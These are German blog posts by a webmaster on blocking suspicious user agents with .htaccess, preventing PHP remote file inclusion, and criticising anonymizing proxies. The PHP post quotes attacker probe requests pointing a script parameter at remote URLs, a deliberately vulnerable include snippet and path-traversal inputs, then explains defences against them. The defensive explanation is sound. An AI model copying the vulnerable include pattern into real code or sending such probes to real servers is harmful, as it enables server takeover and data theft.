Seltsame User-Agents aussperren, Search-Bots reinlassen

Vor lauter Bots kann man sich als Webseiten-Betreiber zur Zeit ja kaum noch schützen. Die nervigsten und gefährlichsten sperre ich bei unseren Webprojekten seit gewisser Zeit schon über die Webserver-Konfiguration oder .htaccess Datei aus. Beispielsweise die Kennung „Mozilla/4.0“ oder „Mozilla/5.0“ ohne jegliche weitere Information.

Normale Browser-Kennungen, wie beispielsweise die vom Internet Explorer oder von Firefox, beginnen in der Regel auch mit dieser Kennung, beinhalten dann aber weitere Informationen dahinter in Klammern.

Zugriffe, die in der Browser-Kennung keine weitere Information enthalten, sind in der Regel Angreifer-Tools, die als Ziel haben, Sicherheitslücken zu finden oder Spam-Kommentare zu hinterlassen.

Seit kurzem sind mir aber sehr häufig auch Zugriffe aufgefallen, die vom MSNBot, also dem Suchmaschinen-Spider von Bing, Microsoft’s Suchmaschine, kommen – und die sich auch nur mit „Mozilla/4.0“ identifizieren. Den will ich reinlassen.

Glücklicherweise kann man den MSNBot anhand der IP-Adresse identifizieren.

Also sieht meine mod_rewrite-Rule für die .htaccess so aus:

RewriteEngine On

RewriteCond %{REMOTE_ADDR} !^65.55.
RewriteCond %{HTTP_USER_AGENT} ^Mozilla/[1-9]\.[0-9]$ [NC]
RewriteRule ^.*$ - [F,L]

Mit der ersten Rewrite Condition wird festgelegt, dass die folgende Regel nur für Zugriffe von IPs gilt, die NICHT Mit 65.55. anfangen.

Die folgende Condition beschränkt das ganze weiter auf User_Agent-Strings, die die Form „Mozilla/“ gefolgt von einer Versionsnummer in der Form „x.y“ (x und y nur einstellie Ziffern) haben.

Und die Rewrite-Rule am Ende legt fest, dass alle derartigen Zugriffe mit einem Forbidden (HTTP Fehler 403) beantwortet werden sollen.

Anonym Surfen – Alle zwei Jahre wieder…

Meine Meinung zu Anonymizern und Anonymizing Proxies habe ich ja hier im Blog schon vor zwei Jahren und vor vier Jahren geäußert.

Und diese Meinung hat sich seitdem nicht geändert. Daran kann auch das Thema „Überwachung durch den Staat“ nicht viel ändern. So wenig ich auch überwacht werden möchte – den Staat interessiere ich in der Regel nicht (es sei denn, es geht darum, dass ich meine Steuern zahle). Es gibt aber andere Leute, die mit meinen Daten viel mehr anfangen können. Deshalb behalte ich meine Daten lieber bei mir und leite sie nicht über irgendwelche Proxies irgendwo in der Welt.

Passenderweise bin ich gerade über einen zum Thema gehörenden Link gestolpert: Almost All Implementations Of SSL Are Configured To Give Up Everything

Hier beschreibt ein „black hat“ Hacker in einem Interview wie er sich durch das Betreiben eines eigenen TOR exit nodes in 24 Stunden rund 250 Login-Credentials zu diversen Webseiten gesammelt hat – ohne sich dabei durch SSL (HTTPS) Verschlüsselung behindern zu lassen. Denkt daran, wenn ihr eure Daten über Systeme leitet, die ihr nicht kennt!

Sicherer PHP-Code: PHP Code Injection verhindern

Wer ab und an mal einen Blick in seine Webserver-Logdateien wirft (was man als ernsthafter Webmaster regelmäßig tun sollte), der wird vermutlich früher oder später über derartige, seltsame Seitenaufrufe stolpern:

  • „GET /fooscript.php?w=http%3A%2F%2Fhonamfishing.co.kr%2Fphpmysqladmin%2Flibraries%2Foduzov%2Fneloze%2F HTTP/1.0“
  • „GET /fooscript.php?w=http%3A%2F%2Fsahel55.com%2Farticles%2Fomaduro%2Fkimumid%2F HTTP/1.0“
  • „GET /fooscript.php?w=http%3A%2F%2Fwww.altaiseer-eg.com%2Far%2Farticles%2Fjed%2Fumut%2F HTTP/1.0“
  • „GET /fooscript.php?w=http%3A%2F%2Fwww.channelnewsperu.com%2Fimagenes%2Fpublicaciones%2Ffotos%2Fnepicu%2Fegul%2F HTTP/1.0“
  • „GET /fooscript.php?w=http%3A%2F%2Fwww.cjp.spb.ru%2Fen%2Ftis%2Fleboma%2F HTTP/1.0“
  • „GET /fooscript.php?w=http%3A%2F%2Fwww.electrofed.com%2F_app%2Fefc%2Fodoqu%2Fferus%2F HTTP/1.0“

Das Muster ist immer das gleiche: Innerhalb von kurzer Zeit werden mehrere relativ ähnliche Aufrufe von ein und der selben IP gestartet. Dabei wird ein wirklich auf dem Server befindliches Script (in diesem Beispiel fooscript.php) aufgerufen und dabei einer der (ebenfalls wirklich existierenden) Parameter mit einer URL einer auf einem anderen Server liegenden  Datei befüllt.

In den oben gezeigten Beispielen liegt unter den angegebenen Adressen eine Datei mit folgendem Inhalt:

<?php echo md5("just_a_test");?>

Es wird relativ schnell klar, was das eigentlich nur sein kann: Hier versucht jemand, eine Schwachstelle in den auf dem Server laufenden PHP-Scripten ausfindig zu machen.

PHP bietet nämlich die mächtige Funktionalität, auf URLs genau so lesend zuzugreifen wie auf lokal auf der Festplatte liegende Dateien. Das gilt für Datei-Operationen wie fopen genau so wie auch für – und hier wird’s für Hacker interessant – include und require.

Und wenn jetzt ein Programmierer so unvorsichtig war, in seinem Programm ungefiltert Werte aus dem Querystring an ein Include zu übergeben, der hat an diesem Punkt leider verloren.
<?php include $_GET['w'];?>

Was jetzt passiert ist folgendes: Das PHP-Script liest die im Seitenaufruf übergebene Web-Adresse aus und führt den dort liegenden Code aus. Es erscheint also der Text „c6db3524fe71d6c576098805a07e79e4“ in der Seite (das ist die MD5-Checksumme von „just_a_test“). Damit weiss der Angreifer, dass er an dieser Stelle beliebigen PHP-Programmcode auf den Server einschleußen kann. Und wenn er das kann, dann hat er die Kontrolle über den Server. Er kann beliebige Daten „hochspielen“, in der Datenbank tun und lassen, was er will, und, und, und…

Was also dagegen tun?

Einerseits ist das mit dem Zugriff auf URLs so wie auf normale Dateien schon eine praktische Sache. Oft kann man aber darauf verzichten. Die Holzhammer-Methode ist, in der php.ini die Einstellung allow_url_fopen zu deaktivieren. Damit ist man auf der sicheren Seite, hat aber das „Problem“, dass man damit eben die ganze Funktionalität abgeschaltet hat, und zwar nicht nur für include und require, sondern auch bei den anderen, nicht so problematischen Datei-Operationen.

Ganz davon abgesehen hat man sich damit noch nicht dagegen geschützt, dass mit dem oben genannten include-Statement doch noch Schabernak getrieben werden kann.

Häufig ist die Anwendung eines solchen Includes ja, dass es eine Art „Framework-Seite“ gibt, die beispielsweise das Layout beinhaltet und die Datenbank-Connection öffnet. Und darin werden dann einzelne Funktions-Module geladen. Man könnte sich beispielsweise vorstellen, dass mittels „index.php?w=home.php“ die Datei home.php den Startseiten-Inhalt an der richtigen Stelle einblendet, während „index.php?w=links.php“ im gleichen Layout eine Linkliste zeigt. Was aber, wenn ein Angreifer auf die Idee kommt, „index.php?w=/etc/apache2/apache2.conf“ aufzurufen? Bekommt er dann die Konfigurationsdatei des Apache-Webservers angezeigt?

Da hilft nur eines: Sicherstellen, dass auf jeden Fall nur erlaubte Include-Pfade angegeben werden können. Eine erste gute Idee ist es schon mal, beim Include vorne und hinten an den übergebenen Parameter etwas anzuhängen:
<?php include '/var/www/includes/' . $_GET['w'] . '.plugin.php';?>
Damit fällt erstens die Möglichkeit weg, per „http://…“ etwas von einem anderen Server zu laden, weil der damit generierte Dateiname keinen Sinn mehr macht. Ausserdem kann man nichts anderes mehr als Dateien „reinladen“, die mit „.plugin.php“ enden.

Schöner, aber immer noch nicht perfekt. Noch ist der Angreifer nämlich nicht ganz eingeschränkt. Noch immer kann er mit Aufruf von „index.php?w=../../foo/bar“ eine Datei aus einem anderen Verzeichnis als eigentlich vorgesehen aufrufen.

Ergo: Weiter filtern. Entweder mit einer Blacklist oder einer Whitelist.

Blacklist bedeutet: Wir suchen nach Mustern, die wir auf jeden Fall verbieten wollen. Wenn beispielsweise der übergebene Parameter „../“ enthält, dann brechen wir ab. Das gute daran ist, dass wir relativ flexibel erlauben oder verbieten können, wie auf die Seite zugegriffen werden kann. Der Nachteil allerdings ist, dass wir alle möglichen Angriffs-Strategien vorausahnen und unterbinden müssen.

Sicherer sind Whitelists: Hier sagen wir, was erlaubt ist. Wir können beispielsweise eine Liste aller erlaubten Werte in einem Array halten und überprüfen, ob der beim Aufruf übergebene Wert enthalten ist:
$ok = array('home', 'links', 'downloads');

if (in_array($_GET['w'], $ok)) {
  include '/var/www/includes/' . $_GET['w'] . '.plugin.php';
}

Dadurch verlieren wir aber einiges an Flexibilität, da wir jedes mal, wenn es eine neue Seite geben soll, auch den $ok-Array aktualisieren müssen. Wir könnten aber auch definieren, dass einfach alle include-Dateinamen einem bestimmten Muster folgen müssen. In etwa: Sie bestehen nur aus alphanumerischen Zeichen und Underscore. Ergebnis:
include '/var/www/includes/' .
preg_replace('/[^a-z0-9_]/i', '', $_GET['w']) .
'.plugin.php';

Und schon kommt uns an dieser Stelle nichts gemeines mehr rein.

So ganz ohne Haken ist das aber auch noch nicht: Erstens hat man bei fremden Scripten oft gar nicht so genau den Überblick, was darin eigentlich passiert – und zweitens muss man natürlich auch bei eigenen Scripten an jeder einzelnen relevanten Stelle aufpassen. Und last, but not least: Wenn das Script erst irgendwas halbwegs sinnvolles tut, dann aber wegen dem falschen Parameter abbricht, dann hat das zwar keine so fatalen Folgen mehr, kann aber einen negativen Beigeschmack haben.

Beispielsweise bringen solche Aufrufe gern Seiten-Abruf Statistiken durcheinander.

Deshalb zuletzt noch eine meiner Meinung nach sehr schöne Zusatzsicherung: Wenn man sicher sein kann, dass keines der auf dem Server laufenden Scripte ein „http:“ im Querystring erwartet, dann kann man einen Apache-Webserver mittels ein paar Zeilen in der .htaccess absichern. Bedingung ist allerdings, dass man mod_rewrite installiert hat.
RewriteEngine on
RewriteCond %{QUERY_STRING} http[:%] [NC]
RewriteRule .* /--http-- [F,NC]
RewriteRule http: /--http-- [F,NC]

Diese Befehle durchsuchen den eingehenden Request nach „http:“, und falls es vorkommen sollte, so antwortet der Server sofort mit einem „Forbidden“. Der Angreifer ist also abgewehrt, bevor es überhaupt zur Ausführung von PHP-Code kommt.

Allerdings daran denken: An manchen Stellen mag es durchaus Sinn machen, „http“ als Parameter zu erlauben. Falls nicht, so ist das jedoch der Weg der Wahl – und falls doch, dann kann man auch dazu etwas mit mod_rewrite zaubern.

Über Sinn und Unsinn von „anonymizing Proxies“

Gerade bin ich im Forum von PageRestrictor / Bot-Trap über die Frage gestolpert, wie man einen „seriösen Proxy“ erkennt. Er habe von allen „Profis“ geraten bekommen, einen Proxy zu verwenden, habe sich jetzt einen von proxy4free.com rausgesucht und schon wäre er auf einer Webseite ausgesperrt worden.

Da ich mich dabei mal wieder zu einer umfangreicheren Antwort habe hinreißen lassen, hier auch eine Kopie meines Beitrags:

Als „seriöse Proxies“ würde ich Proxies definieren, die man nicht „ohne Anmeldung“ verwenden kann. Beispielsweise wäre es okay, wenn man als Nutzer eines Internet-Providers (Arcor, T-Online, AOL, …) den Proxy dieses Anbieters nutzen kann, um damit ggf. die Zugriffsgeschwindigkeit auf Webseiten zu beschleunigen. Gleiches gilt für Firmen, die einen Proxy im Haus stehen haben.

Andersrum gesagt: Alle Proxies aus öffentlichen Proxy-Listen (z.B. proxy4free.com) sind unseriös. Oft sind die auch gar nicht als Proxy gedacht, sondern durch Unachtsamkeit des Administrators des entsprechenden Servers entstanden, der beispielsweise den Webserver falsch konfiguriert hat – und vermutlich gar nicht weiss, dass er einen entsprechenden Proxy „anbietet“. Mit anderen Worten: Man nutzt eine Lücke in dessen System aus, um seine eigenen Daten umzuleiten und damit seine IP zu verschleiern. Man schadet also dem Betreiber des Webservers, weil der gegebenenfalls Geld für den zusätzlichen Traffic bezahlen muss.

Ansonsten: Proxies haben nicht viel mit Sicherheit beim Surfen zu tun. Insbesondere diese „offenen Proxies“, die nur Daten durchreichen. Es mag ausnahmen geben, die eine Art „Virenscanner“ zwischenschalten, um schadhafte JavaScript-/sonstige Schadcodes ausfiltern. Das sind aber sicher nicht die falsch konfigurierten Server auf diesen Proxy-Listen.

Ich würde sogar so weit gehen, und behaupten: Unbekannte Proxy-Server sind ein Sicherheitsrisiko!

Die Idee hinter einem Proxy-Server ist ja grundsätzlich eigentlich, deine Anfragen „umzuleiten“. Du schickst „Hol mir http://www.google.com/“ an den Proxy, der fragt dann Google nach der Seite, und schickt die Antwort von Google an dich. Das kann beispielsweise dann von Vorteil sein, wenn dieser Proxy die Seite von Google schon geladen hat, und dir nur noch seine Kopie schicken muss. Google ist hier vermutlich ein schlechtes Beispiel, weil die Seite immer schnell verfügbar ist. Aber stell dir das mal mit einem Download vor. Es kann einen spürbaren Unterschied machen, ob du einen 100MB Download von einem langsamen Webserver in Australien laden musst, oder ob du die zwischengespeicherte Kopie direkt bei deinem Provider bekommst.

Der sicherheitsrelevante Haken ist aber, dass der Proxy die Daten, die zwischen dir und – bleiben wir mal dabei – Google hin und her gehen, verarbeiten und verändern könnte. Er könnte zum Beispiel ein böses Stückchen JavaScript in die vorher saubere Seite von Google einbauen.

Und abgesehen davon, dass er vorstehendes TUN KÖNNTE — Folgendes wird er MIT SICHERHEIT TUN: Er bekommt alles mit, was du so im Netz treibst. Selbst der falsch konfigurierte Webserver loggt damit alle deine Anfragen mit. Der Betreiber des Proxies kann also sehen, wo du dich rumtreibst – und das allerbeste: Was du in Formulare eingibst. Seien es Suchanfragen, Login-Daten oder Kreditkartennummern. All diese Daten schickst du an den dir unbekannten Server im Netz – der vielleicht irgendwo in Russland oder China steht – und vertraust darauf, dass er dann schon kein Schindluder mit den Daten treibt.

Finde ich mutig 😀

[…]

Lange Rede, kurzer Sinn: Anonymisierende Proxies machen für die Leute Sinn, die etwas zu verbergen haben. Und solche Leute will ich auf meiner Webseite nicht haben – denn das sind die, die Unruhe stiften und mir schaden wollen. Für „normale Nutzer“ macht es überhaupt keinen Sinn, die Spur im Netz verwischen zu wollen.

Anonym surfen

In der aktuellen Ausgabe der PC Professionell (10/2005) gibt es einige Artikel (Seiten 148 ff.), die sich mit dem Thema „Anonym surfen“ beschäftigen. Meiner Meinung nach stellenweise absolute Fehlinformation, also musste ein Leserbrief her:

Hallo PC Professionell-Team,
Hallo Herr Böhme,

Ich habe mit Interesse den Artikel über das „Anonym surfen“ in der aktuellen PC Professionell Ausgabe 10/2005 gelesen – und muss sagen, dass ich aus dem Kopf-Schütteln nicht mehr herausgekommen bin. Gerade der letzte Absatz fasst so ziemlich all das zusammen, was ich als absolute Fehlinformation einstufe:

„In der Praxis reicht es aus, […] JAP […] nur bei Bedarf einzuschalten. Das ist immer dann der Fall, wenn persönliche Daten wie Kreditkarten- oder Adressinformationen übermittelt werden. Ansonsten genügt es, die Statistiken zu verfälschen, indem mit Proxomitron die übertragenen Informationen gezielt manipuliert werden.“

Um es vorneweg zu nehmen: Ich stehe bei der ganzen Geschichte meistens auf der anderen Seite – also nicht als User, sondern als Anbieter von Webprojekten. Es geht mir aber im folgenden nicht darum, mich über zerstörte Statistiken zu beschweren. Damit kann ich leben. Viel mehr versuche ich den Sinn ihrer Empfehlung aus User-Sicht zu verstehen bzw. zu widerlegen:

Sie empfehlen Ihren Lesern, in dem Moment, in dem sie Kreditkartendaten und Adressinformationen angeben – also in dem Moment, in dem sie ihre Anonymität endgültig aufgeben und als Kunde einem Webseitenbetreiber „als Person“ und nicht mehr „als IP-Adresse“ gegenübertreten – den Anonymizer einzuschalten. Wo ist da der tiefere Sinn? In dem Moment, in dem „brisante“ Daten übertragen werden, empfehlen Sie sogar, diese Daten über (mindestens) ein weiteres System zu routen, wo die Pakete abgefangen, gespeichert und ausgewertet werden könnten?

Ohne Frage – JAP ist hierbei eine der sichereren Varianten. Ein öffentlich zugänglicher Proxy unbekannter Natur ist hier riskanter. Aber der Sinn bleibt mir dennoch verborgen. Ganz nach dem Motto „Hallo, ich bin Dominik Deobald – ich bin Anonym!“

Einen Schritt weiter, gleicher Punkt: Sie empfehlen Ihren Lesern Kreditkarten-Zahlungen über den Anonymizer laufen zu lassen. Sie müssen aber bedenken, dass auf der anderen Seite ein Unternehmen steht, das Waren anbietet und verkauft und dabei einen Gewinn erzielen muss, um Arbeitsplätze zu sichern. Insbesondere virtuelle Güter (Downloads, eVoucher, …) sind beliebtes Ziel für Kreditkartenbetrüger, da hier keine physische Adresse für die Lieferung von Waren vorhanden sein muss. Also muss man alle zur Verfügung stehenden Mittel einsetzen, um gute von bösen Kunden zu unterscheiden. Drei mal dürfen Sie raten, was ein sehr zuverlässiges Zeichen dafür ist, dass es sich bei einem User auf der Webseite um einen Betrüger handelt: Einen Anonymizer setzen vor allem die Leute ein, die etwas zu verbergen haben. Die paar IP-Adressen, über die der Anonymizer-Dienst der TU Dresden läuft, waren schnell nach dem ersten von dort erfolgten Betrugsfall bei meinem Arbeitgeber identifiziert. Seitdem sind sie gesperrt. Einkaufen unmöglich.

Nutzer von Anonymizing Proxies sollten sich also nicht wundern, wenn bei der Kreditkartenzahlung für die eigentlich einwandfreie Kreditkarte die Meldung „Kreditkarte ungültig“ erscheint. Wenn man damit effektiv einen Großteil der Betrüger abwehrt nimmt man als Unternehmen auch die Hand voll ehrlichern Kunden, die nicht einkaufen können, in Kauf.

Weiter zum nächsten Punkt, Proxomitron: Der Sinn hiervon bleibt mir gänzlich verborgen. Einzige Erklärung, die ich zumindest nachvollziehen könnte, wäre, dem Server einen anderen Client vorzutäuschen, um diesem nicht zu verraten, dass man Webbrowser XY mit der Sicherheitslücke AB einsetzt, die der Server dann gezielt ausnutzen könnte. Um derartigen Angriffen ausgesetzt zu sein muss man sich aber schon auf sehr zwielichtigen Seiten herumtreiben.

Der Nachteil, seinen Browser zu verschleiern, ist, dass viele Webseiten-Betreiber die Browserkennung sinnvoll verwenden. Es ist leider immer noch – und sicher auch für die Zukunft – so, dass verschiedene Browser den gleichen HTML-Code unterschiedlich interpretieren und unterschiedlich darstellen. Was auf dem Internet Explorer gut aussieht kann auf dem Firefox das reinste Chaos sein – und umgekehrt. Deshalb stellen viele Webseiten verschieden optimierte Seiten zur Verfügung, abhängig davon, wie sich der Browser zu erkennen gibt. Noch schlimmer ist – aus User-Sicht – die Möglichkeit, sich als „Googlebot“ auszugeben. Hier kommen vermutlich nur all zu häufig Webseiten zum Vorschein, die speziell für Suchmaschinen optimiert wurden und mit Schlüsselwörtern voll gepackt sind, aber den eigentlichen Inhalt nicht mehr erkennbar wiedergeben. Auch wenn das eine Unart ist und nicht der Standard sein sollte – aber wer sich als Google ausgibt, muss halt auch damit rechnen, das zu sehen zu bekommen, was die Webmaster für Google bestimmt haben.

Mit freundlichen Grüßen,
Dominik Deobald